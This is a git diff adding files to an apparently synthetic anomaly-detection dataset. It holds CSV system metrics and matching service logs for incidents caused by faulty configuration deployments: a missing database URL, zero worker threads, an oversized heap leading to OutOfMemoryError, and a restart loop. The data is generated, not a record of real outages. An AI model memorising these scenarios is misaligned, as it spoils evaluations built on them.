+2025-07-02T12:00:15Z,9.058830410064466,36.814417046280845,34.671279311739795,0.939933021430764,1.1130587823476574 +2025-07-02T12:00:20Z,15.018818305183942,37.42613298127307,31.550793553434314,1.7852258584570473,1.3051202456072364 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+2025-07-02T12:07:05Z,90.18877909220008,73.6448069376559,40.43297962513565,0.25084732867577886,0.0 +2025-07-02T12:07:10Z,73.68217742802479,51.59197348946984,53.610478497939276,0.0,0.20609686635674074 +2025-07-02T12:07:15Z,76.83705323891465,64.60171274222445,51.260698392489275,0.19585533322173942,0.2017810825453384 +2025-07-02T12:07:20Z,67.26714759746952,72.2011113710162,46.49801854980888,0.16810689708205964,0.2591296970455536 +2025-07-02T12:07:25Z,60.807510526129036,77.643618566249,39.69287472121706,0.203715036528307,0.21961949292208804 diff --git a/anom_dataset/scenario_14/anom_14_20.log b/anom_dataset/scenario_14/anom_14_20.log new file mode 100644 index 0000000000000000000000000000000000000000..c127987fde2a46cc80e93388d0e12f8520b38811 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_20.log @@ -0,0 +1,66 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:00:20 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:00:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:40 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:01:00 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:01:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:20 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:01:40 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:01:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:00 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:02:00 deploy-bot[9527]: Deployment of 'web-app' version v1.2.1 initiated. +Jul 02 12:02:02 deploy-bot[9527]: Applying new configuration 'app-config-v1.2.1'. +Jul 02 12:02:04 web-app[3341]: INFO Shutting down old application instance. +Jul 02 12:02:05 web-app[4588]: ERROR Invalid configuration: value for 'database.url' is missing. +Jul 02 12:02:06 web-app[4588]: FATAL Application failed to start due to configuration error. +Jul 02 12:02:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:20 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:02:30 web-app[4588]: WARN Attempting to connect to database... +Jul 02 12:02:32 web-app[4588]: ERROR Failed to establish database connection: timeout expired. +Jul 02 12:02:30 web-app[4588]: GET /api/v1/data status=503 Service Unavailable +Jul 02 12:02:40 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:02:55 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:00 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:03:00 web-app[4588]: WARN Attempting to connect to database... +Jul 02 12:03:02 web-app[4588]: ERROR Failed to establish database connection: timeout expired. +Jul 02 12:03:20 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:03:20 web-app[4588]: GET /api/v1/data status=503 Service Unavailable +Jul 02 12:03:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:30 web-app[4588]: WARN Attempting to connect to database... +Jul 02 12:03:32 web-app[4588]: ERROR Failed to establish database connection: timeout expired. +Jul 02 12:03:40 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:04:00 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:04:00 web-app[4588]: WARN Attempting to connect to database... +Jul 02 12:04:02 web-app[4588]: ERROR Failed to establish database connection: timeout expired. +Jul 02 12:04:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:10 web-app[4588]: GET /api/v1/data status=503 Service Unavailable +Jul 02 12:04:20 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:04:30 web-app[4588]: WARN Attempting to connect to database... +Jul 02 12:04:32 web-app[4588]: ERROR Failed to establish database connection: timeout expired. +Jul 02 12:04:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:40 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:05:00 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:05:00 web-app[4588]: WARN Attempting to connect to database... +Jul 02 12:05:02 web-app[4588]: ERROR Failed to establish database connection: timeout expired. +Jul 02 12:05:00 web-app[4588]: GET /api/v1/data status=503 Service Unavailable +Jul 02 12:05:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:20 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:05:30 web-app[4588]: WARN Attempting to connect to database... +Jul 02 12:05:32 web-app[4588]: ERROR Failed to establish database connection: timeout expired. +Jul 02 12:05:40 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:05:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:50 web-app[4588]: GET /api/v1/data status=503 Service Unavailable +Jul 02 12:06:00 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:06:00 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123. Restarting container. +Jul 02 12:06:04 web-app[4690]: ERROR Invalid configuration: value for 'database.url' is missing. +Jul 02 12:06:20 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:06:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:40 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:06:40 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123. Restarting container. +Jul 02 12:06:44 web-app[4690]: ERROR Invalid configuration: value for 'database.url' is missing. +Jul 02 12:07:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:00 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:07:20 web-app[3341]: GET /api/v1/health status=200 OK +Jul 02 12:07:20 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123. Restarting container. +Jul 02 12:07:24 web-app[4690]: ERROR Invalid configuration: value for 'database.url' is missing. \ No newline at end of file diff --git a/anom_dataset/scenario_14/anom_14_21.csv b/anom_dataset/scenario_14/anom_14_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..098d35becb1cea4802ef7cbbffa48e12140c7e53 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T14:00:00Z,14.29392828887185,44.71293877970531,33.746414201753936,0.8531831524903325,1.08177154203519 +2025-07-02T14:00:05Z,10.297247880391481,36.190199396966975,29.11371587482843,0.8267273657225995,1.0785992964191398 +2025-07-02T14:00:10Z,19.869747328849137,42.834435442293,36.744613667660296,0.9046770333832971,1.2982083475528883 +2025-07-02T14:00:15Z,10.535108678403407,36.754000728902895,39.14180474140241,0.9847042096493537,1.283739538044049 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kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:00:00 systemd[1]: Starting daily user cleanup... +Jul 02 14:00:00 web-app[3456]: GET /api/v1/user/28 status=200 OK +Jul 02 14:00:20 web-app[3456]: GET /api/v1/user/29 status=200 OK +Jul 02 14:00:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:00:40 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 02 14:00:50 systemd[1]: Starting daily user cleanup... +Jul 02 14:01:00 web-app[3456]: GET /api/v1/user/12 status=200 OK +Jul 02 14:01:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:01:20 web-app[3456]: GET /api/v1/user/19 status=200 OK +Jul 02 14:01:40 systemd[1]: Starting daily user cleanup... +Jul 02 14:01:40 web-app[3456]: GET /api/v1/user/21 status=200 OK +Jul 02 14:01:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:02:00 web-app[3456]: GET /api/v1/user/14 status=200 OK +Jul 02 14:02:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:02:20 web-app[3456]: GET /api/v1/user/33 status=200 OK +Jul 02 14:02:28 deploy-manager[8888]: INFO Applying new configuration to web-app deployment. +Jul 02 14:02:30 web-app[3456]: INFO Application attempting to restart with new settings... +Jul 02 14:02:31 web-app[3456]: ERROR Invalid configuration: 'worker_threads' cannot be zero. Please provide a positive integer. +Jul 02 14:02:32 web-app[3456]: ERROR Failed to initialize thread pool. +Jul 02 14:02:33 web-app[3456]: CRITICAL Application startup failed due to configuration error. +Jul 02 14:02:40 web-app[3456]: WARN High CPU usage detected, potential performance degradation. +Jul 02 14:02:55 web-app[3456]: GET /api/v1/health status=503 Service Unavailable +Jul 02 14:03:00 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod: connection refused. +Jul 02 14:03:20 web-app[3456]: GET /api/v1/health status=503 Service Unavailable +Jul 02 14:03:20 web-app[3456]: WARN High CPU usage detected, potential performance degradation. +Jul 02 14:03:45 web-app[3456]: GET /api/v1/health status=503 Service Unavailable +Jul 02 14:04:00 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod: connection refused. +Jul 02 14:04:00 web-app[3456]: WARN High CPU usage detected, potential performance degradation. +Jul 02 14:04:10 web-app[3456]: GET /api/v1/health status=503 Service Unavailable +Jul 02 14:04:35 web-app[3456]: GET /api/v1/health status=503 Service Unavailable +Jul 02 14:04:40 web-app[3456]: WARN High CPU usage detected, potential performance degradation. +Jul 02 14:04:56 deploy-manager[8888]: INFO Reverting to last known good configuration for web-app. +Jul 02 14:04:59 web-app[3456]: INFO Application shutting down... +Jul 02 14:05:00 web-app[3456]: INFO Application attempting to restart with reverted settings... +Jul 02 14:05:02 web-app[3456]: INFO Thread pool initialized with 8 workers. +Jul 02 14:05:03 web-app[3456]: INFO Application started successfully on port 8080. +Jul 02 14:05:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:05:20 web-app[3456]: GET /api/v1/user/21 status=200 OK +Jul 02 14:05:40 web-app[3456]: GET /api/v1/user/22 status=200 OK +Jul 02 14:05:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 14:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:06:00 web-app[3456]: GET /api/v1/user/41 status=200 OK +Jul 02 14:06:20 web-app[3456]: GET /api/v1/user/29 status=200 OK +Jul 02 14:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:06:40 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 14:06:40 web-app[3456]: GET /api/v1/user/20 status=200 OK +Jul 02 14:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:07:00 web-app[3456]: GET /api/v1/user/30 status=200 OK +Jul 02 14:07:20 web-app[3456]: GET /api/v1/user/48 status=200 OK diff --git a/anom_dataset/scenario_14/anom_14_22.csv b/anom_dataset/scenario_14/anom_14_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..24c0ec26bdd9a5dd6fb3d266bfa1fa9cd78c8f26 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-14T14:00:00Z,17.0,35.0,26.54,1.16,0.84 +2025-07-14T14:00:05Z,5.2,37.83,33.21,1.38,0.93 +2025-07-14T14:00:10Z,18.99,42.71,24.59,1.32,1.08 +2025-07-14T14:00:15Z,11.15,43.16,30.49,1.29,0.75 +2025-07-14T14:00:20Z,13.37,40.41,32.28,1.05,1.15 +2025-07-14T14:00:25Z,12.39,37.9,29.71,1.16,1.07 +2025-07-14T14:00:30Z,19.0,41.41,33.72,1.28,0.82 +2025-07-14T14:00:35Z,13.84,40.63,33.47,0.86,0.82 +2025-07-14T14:00:40Z,11.45,41.68,27.32,1.44,0.97 +2025-07-14T14:00:45Z,17.02,41.1,25.67,0.91,0.84 +2025-07-14T14:00:50Z,14.46,39.43,23.94,0.99,1.25 +2025-07-14T14:00:55Z,16.2,39.01,36.08,1.17,0.99 +2025-07-14T14:01:00Z,10.38,37.51,23.96,1.21,0.97 +2025-07-14T14:01:05Z,11.3,38.37,28.1,1.3,0.99 +2025-07-14T14:01:10Z,14.77,36.2,27.56,1.24,1.01 +2025-07-14T14:01:15Z,17.2,40.15,25.55,0.8,0.78 +2025-07-14T14:01:20Z,8.98,38.48,31.67,1.16,0.9 +2025-07-14T14:01:25Z,15.25,38.79,26.45,1.03,0.88 +2025-07-14T14:01:30Z,9.39,39.2,31.23,1.43,0.81 +2025-07-14T14:01:35Z,18.4,39.64,34.22,1.09,0.83 +2025-07-14T14:01:40Z,11.49,44.14,29.94,1.3,0.93 +2025-07-14T14:01:45Z,13.09,39.48,33.61,1.07,1.05 +2025-07-14T14:01:50Z,14.82,39.1,29.5,1.32,0.99 +2025-07-14T14:01:55Z,13.11,38.58,20.76,1.49,0.88 +2025-07-14T14:02:00Z,17.41,40.4,28.21,1.26,0.73 +2025-07-14T14:02:05Z,18.29,37.36,29.99,1.49,1.27 +2025-07-14T14:02:10Z,12.93,39.8,29.58,1.31,0.76 +2025-07-14T14:02:15Z,14.08,36.48,25.38,1.36,0.96 +2025-07-14T14:02:20Z,13.82,41.98,30.9,1.24,1.05 +2025-07-14T14:02:25Z,14.83,38.89,32.26,1.44,0.89 +2025-07-14T14:02:30Z,14.21,37.43,20.62,1.04,0.81 +2025-07-14T14:02:35Z,16.55,37.8,39.14,1.19,1.1 +2025-07-14T14:02:40Z,18.06,44.88,41.66,1.27,1.03 +2025-07-14T14:02:45Z,19.02,38.66,38.17,0.94,1.24 +2025-07-14T14:02:50Z,14.63,38.04,29.49,1.18,0.81 +2025-07-14T14:02:55Z,17.47,41.41,25.98,1.5,0.87 +2025-07-14T14:03:00Z,91.28,96.12,81.1,0.3,0.3 +2025-07-14T14:03:05Z,91.6,99.9,79.62,0.43,0.17 +2025-07-14T14:03:10Z,96.75,99.79,95.0,0.44,0.23 +2025-07-14T14:03:15Z,94.76,96.46,79.82,0.43,0.19 +2025-07-14T14:03:20Z,90.58,97.45,91.29,0.22,0.24 +2025-07-14T14:03:25Z,97.43,96.81,76.81,0.4,0.49 +2025-07-14T14:03:30Z,97.01,96.85,93.17,0.43,0.3 +2025-07-14T14:03:35Z,93.13,98.61,73.35,0.34,0.22 +2025-07-14T14:03:40Z,94.59,98.21,95.0,0.11,0.49 +2025-07-14T14:03:45Z,94.86,99.8,85.41,0.43,0.28 +2025-07-14T14:03:50Z,90.3,97.05,69.79,0.44,0.28 +2025-07-14T14:03:55Z,93.76,98.83,88.38,0.19,0.31 +2025-07-14T14:04:00Z,96.21,99.9,72.77,0.24,0.32 +2025-07-14T14:04:05Z,93.3,97.88,67.19,0.16,0.27 +2025-07-14T14:04:10Z,99.5,99.9,95.0,0.4,0.13 +2025-07-14T14:04:15Z,90.54,99.23,85.72,0.44,0.13 +2025-07-14T14:04:20Z,97.96,97.91,78.78,0.43,0.36 +2025-07-14T14:04:25Z,98.75,98.6,69.77,0.35,0.36 +2025-07-14T14:04:30Z,97.69,97.54,60.0,0.21,0.25 +2025-07-14T14:04:35Z,95.78,99.33,76.67,0.28,0.33 +2025-07-14T14:04:40Z,97.96,98.25,79.92,0.39,0.11 +2025-07-14T14:04:45Z,96.37,98.25,72.65,0.44,0.16 +2025-07-14T14:04:50Z,98.06,97.51,79.22,0.2,0.49 +2025-07-14T14:04:55Z,93.85,98.87,82.61,0.37,0.31 +2025-07-14T14:05:00Z,97.24,97.72,77.62,0.29,0.21 +2025-07-14T14:05:05Z,97.36,98.65,77.5,0.3,0.44 +2025-07-14T14:05:10Z,93.66,97.8,72.13,0.47,0.28 +2025-07-14T14:05:15Z,89.91,96.07,82.94,0.31,0.25 +2025-07-14T14:05:20Z,91.46,98.17,65.44,0.24,0.15 +2025-07-14T14:05:25Z,98.0,97.96,69.07,0.34,0.4 +2025-07-14T14:05:30Z,93.65,99.05,85.74,0.22,0.31 +2025-07-14T14:05:35Z,97.77,99.46,87.33,0.16,0.15 +2025-07-14T14:05:40Z,99.5,98.82,95.0,0.3,0.27 +2025-07-14T14:05:45Z,98.13,97.65,81.2,0.15,0.32 +2025-07-14T14:05:50Z,91.97,97.99,70.03,0.43,0.14 +2025-07-14T14:05:55Z,92.58,98.57,87.08,0.45,0.25 +2025-07-14T14:06:00Z,95.09,97.69,88.44,0.14,0.35 +2025-07-14T14:06:05Z,99.5,99.23,75.29,0.5,0.23 +2025-07-14T14:06:10Z,93.99,99.27,86.49,0.28,0.42 +2025-07-14T14:06:15Z,97.64,97.57,86.07,0.19,0.11 +2025-07-14T14:06:20Z,93.55,98.51,80.9,0.24,0.34 +2025-07-14T14:06:25Z,91.81,99.82,78.89,0.39,0.16 +2025-07-14T14:06:30Z,92.58,97.61,89.46,0.14,0.42 +2025-07-14T14:06:35Z,95.11,98.15,85.79,0.22,0.31 +2025-07-14T14:06:40Z,94.28,99.47,82.02,0.16,0.29 +2025-07-14T14:06:45Z,91.35,97.32,74.19,0.28,0.36 +2025-07-14T14:06:50Z,98.28,98.47,73.94,0.17,0.46 +2025-07-14T14:06:55Z,97.19,97.22,71.93,0.15,0.38 +2025-07-14T14:07:00Z,94.67,97.69,88.5,0.16,0.3 +2025-07-14T14:07:05Z,94.88,98.14,95.0,0.25,0.45 +2025-07-14T14:07:10Z,92.91,97.73,86.63,0.15,0.2 +2025-07-14T14:07:15Z,99.35,97.45,92.89,0.27,0.47 +2025-07-14T14:07:20Z,91.58,99.85,70.54,0.19,0.17 +2025-07-14T14:07:25Z,92.91,98.85,93.64,0.33,0.32 diff --git a/anom_dataset/scenario_14/anom_14_22.log b/anom_dataset/scenario_14/anom_14_22.log new file mode 100644 index 0000000000000000000000000000000000000000..6eb0e6bc4b7d44073401780cbfca268dedeb9d89 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_22.log @@ -0,0 +1,62 @@ +Jul 14 14:00:00 payment-processor[4567]: INFO Processing payment for user_id=84 status=200 OK +Jul 14 14:00:00 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 14 14:00:00 systemd[1]: Starting daily backup job... +Jul 14 14:00:20 payment-processor[4567]: INFO Processing payment for user_id=82 status=200 OK +Jul 14 14:00:35 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 14 14:00:40 payment-processor[4567]: INFO Processing payment for user_id=78 status=200 OK +Jul 14 14:00:50 systemd[1]: Starting daily backup job... +Jul 14 14:01:00 payment-processor[4567]: INFO Processing payment for user_id=20 status=200 OK +Jul 14 14:01:10 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 14 14:01:20 payment-processor[4567]: INFO Processing payment for user_id=89 status=200 OK +Jul 14 14:01:40 payment-processor[4567]: INFO Processing payment for user_id=45 status=200 OK +Jul 14 14:01:40 systemd[1]: Starting daily backup job... +Jul 14 14:01:45 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 14 14:02:00 payment-processor[4567]: INFO Processing payment for user_id=19 status=200 OK +Jul 14 14:02:20 payment-processor[4567]: INFO Processing payment for user_id=86 status=200 OK +Jul 14 14:02:20 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 14 14:02:30 systemd[1]: Starting daily backup job... +Jul 14 14:02:40 payment-processor[4567]: INFO Processing payment for user_id=28 status=200 OK +Jul 14 14:02:55 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 14 14:03:00 deploy-script[9988]: INFO New configuration 'v2.1-hotfix' deployed, initiating application restart... +Jul 14 14:03:00 payment-processor[4567]: INFO Shutting down service. +Jul 14 14:03:00 payment-processor[5111]: INFO Service starting with new configuration... +Jul 14 14:03:00 payment-processor[5111]: ERROR Invalid configuration value for 'max_heap_size'. Value '20480m' exceeds available system memory. +Jul 14 14:03:00 payment-processor[5111]: WARN Application may experience performance degradation due to memory pressure. +Jul 14 14:03:05 payment-processor[5111]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space. Application is unstable. +Jul 14 14:03:15 payment-processor[5111]: INFO Garbage Collector is running frequently, system performance is degraded. +Jul 14 14:03:20 payment-processor[5111]: ERROR Failed to process payment for user_id=27 due to timeout. +Jul 14 14:03:35 payment-processor[5111]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space. Application is unstable. +Jul 14 14:03:35 api-gateway[1234]: GET /api/v1/health status=503 Service Unavailable +Jul 14 14:03:40 payment-processor[5111]: ERROR Failed to process payment for user_id=22 due to timeout. +Jul 14 14:03:45 payment-processor[5111]: INFO Garbage Collector is running frequently, system performance is degraded. +Jul 14 14:04:00 payment-processor[5111]: ERROR Failed to process payment for user_id=92 due to timeout. +Jul 14 14:04:05 payment-processor[5111]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space. Application is unstable. +Jul 14 14:04:10 api-gateway[1234]: GET /api/v1/health status=503 Service Unavailable +Jul 14 14:04:15 payment-processor[5111]: INFO Garbage Collector is running frequently, system performance is degraded. +Jul 14 14:04:20 payment-processor[5111]: ERROR Failed to process payment for user_id=51 due to timeout. +Jul 14 14:04:35 payment-processor[5111]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space. Application is unstable. +Jul 14 14:04:40 payment-processor[5111]: ERROR Failed to process payment for user_id=85 due to timeout. +Jul 14 14:04:45 payment-processor[5111]: INFO Garbage Collector is running frequently, system performance is degraded. +Jul 14 14:04:45 api-gateway[1234]: GET /api/v1/health status=503 Service Unavailable +Jul 14 14:05:00 payment-processor[5111]: ERROR Failed to process payment for user_id=76 due to timeout. +Jul 14 14:05:05 payment-processor[5111]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space. Application is unstable. +Jul 14 14:05:15 payment-processor[5111]: INFO Garbage Collector is running frequently, system performance is degraded. +Jul 14 14:05:20 payment-processor[5111]: ERROR Failed to process payment for user_id=74 due to timeout. +Jul 14 14:05:20 api-gateway[1234]: GET /api/v1/health status=503 Service Unavailable +Jul 14 14:05:35 payment-processor[5111]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space. Application is unstable. +Jul 14 14:05:40 payment-processor[5111]: ERROR Failed to process payment for user_id=63 due to timeout. +Jul 14 14:05:45 payment-processor[5111]: INFO Garbage Collector is running frequently, system performance is degraded. +Jul 14 14:05:55 api-gateway[1234]: GET /api/v1/health status=503 Service Unavailable +Jul 14 14:06:00 payment-processor[5111]: ERROR Failed to process payment for user_id=99 due to timeout. +Jul 14 14:06:05 payment-processor[5111]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space. Application is unstable. +Jul 14 14:06:15 payment-processor[5111]: INFO Garbage Collector is running frequently, system performance is degraded. +Jul 14 14:06:20 payment-processor[5111]: ERROR Failed to process payment for user_id=11 due to timeout. +Jul 14 14:06:30 api-gateway[1234]: GET /api/v1/health status=503 Service Unavailable +Jul 14 14:06:35 payment-processor[5111]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space. Application is unstable. +Jul 14 14:06:40 payment-processor[5111]: ERROR Failed to process payment for user_id=80 due to timeout. +Jul 14 14:06:45 payment-processor[5111]: INFO Garbage Collector is running frequently, system performance is degraded. +Jul 14 14:07:00 payment-processor[5111]: ERROR Failed to process payment for user_id=32 due to timeout. +Jul 14 14:07:05 payment-processor[5111]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space. Application is unstable. +Jul 14 14:07:05 api-gateway[1234]: GET /api/v1/health status=503 Service Unavailable +Jul 14 14:07:15 payment-processor[5111]: INFO Garbage Collector is running frequently, system performance is degraded. +Jul 14 14:07:20 payment-processor[5111]: ERROR Failed to process payment for user_id=78 due to timeout. diff --git a/anom_dataset/scenario_14/anom_14_23.csv b/anom_dataset/scenario_14/anom_14_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..bb643ab4b896746438fd7ce86395d7fb5e079687 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,12.15,44.71,26.87,0.83,0.95 +2025-07-02T12:00:05Z,10.15,36.19,24.56,0.82,0.95 +2025-07-02T12:00:10Z,14.93,42.83,28.37,0.86,1.10 +2025-07-02T12:00:15Z,10.27,36.75,29.57,0.91,1.09 +2025-07-02T12:00:20Z,10.10,37.71,24.99,1.18,1.05 +2025-07-02T12:00:25Z,13.95,41.44,25.57,1.04,0.93 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+2025-07-02T12:07:10Z,1.62,8.61,2.36,0.02,0.01 +2025-07-02T12:07:15Z,1.33,8.71,3.21,0.03,0.01 +2025-07-02T12:07:20Z,1.02,5.85,4.46,0.01,0.01 +2025-07-02T12:07:25Z,0.61,8.44,0.48,0.05,0.01 diff --git a/anom_dataset/scenario_14/anom_14_23.log b/anom_dataset/scenario_14/anom_14_23.log new file mode 100644 index 0000000000000000000000000000000000000000..cbec47c555c9c4b4156bd73a037a950ccddc4cbe --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_23.log @@ -0,0 +1,51 @@ +Jul 02 12:00:15 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:00:40 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:01:15 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:01:50 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:02:30 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:02:55 web-app[1357]: INFO Starting configuration reload based on deployment update +Jul 02 12:03:00 systemd[1]: Starting web-app service... +Jul 02 12:03:05 web-app[1358]: FATAL Invalid configuration: unknown key 'database.master.url' +Jul 02 12:03:10 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:03:10 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:03:20 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:03:30 systemd[1]: Starting web-app service... +Jul 02 12:03:35 web-app[1358]: FATAL Invalid configuration: unknown key 'database.master.url' +Jul 02 12:03:40 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:03:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:03:50 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:04:00 systemd[1]: Starting web-app service... +Jul 02 12:04:05 web-app[1358]: FATAL Invalid configuration: unknown key 'database.master.url' +Jul 02 12:04:10 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:04:10 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:04:20 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:04:30 systemd[1]: Starting web-app service... +Jul 02 12:04:35 web-app[1358]: FATAL Invalid configuration: unknown key 'database.master.url' +Jul 02 12:04:40 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:04:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:04:50 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:05:00 systemd[1]: Starting web-app service... +Jul 02 12:05:05 web-app[1358]: FATAL Invalid configuration: unknown key 'database.master.url' +Jul 02 12:05:10 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:05:10 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:05:20 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:05:30 systemd[1]: Starting web-app service... +Jul 02 12:05:35 web-app[1358]: FATAL Invalid configuration: unknown key 'database.master.url' +Jul 02 12:05:40 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:05:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:05:50 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:06:00 systemd[1]: Starting web-app service... +Jul 02 12:06:05 web-app[1358]: FATAL Invalid configuration: unknown key 'database.master.url' +Jul 02 12:06:10 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:06:10 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:06:20 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:06:30 systemd[1]: Starting web-app service... +Jul 02 12:06:35 web-app[1358]: FATAL Invalid configuration: unknown key 'database.master.url' +Jul 02 12:06:40 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:06:40 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:06:50 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:07:00 systemd[1]: Starting web-app service... +Jul 02 12:07:05 web-app[1358]: FATAL Invalid configuration: unknown key 'database.master.url' +Jul 02 12:07:10 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:07:10 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:07:20 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. diff --git a/anom_dataset/scenario_14/anom_14_24.csv b/anom_dataset/scenario_14/anom_14_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..df588b3c10fa84e784455b03d536f2feac27adfb --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_24.csv @@ -0,0 +1,91 @@ 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+2025-07-14T10:07:20Z,86.77501123971476,80.74307607365643,47.18569002139235,0.2525894744054127,0.1472873476695669 +2025-07-14T10:07:25Z,90.22623818671147,83.1151221987713,42.73505607932374,0.3781401183261023,0.25930770041608764 diff --git a/anom_dataset/scenario_14/anom_14_24.log b/anom_dataset/scenario_14/anom_14_24.log new file mode 100644 index 0000000000000000000000000000000000000000..8d0f8db395f183c82620e2ee940724db144021ec --- /dev/null 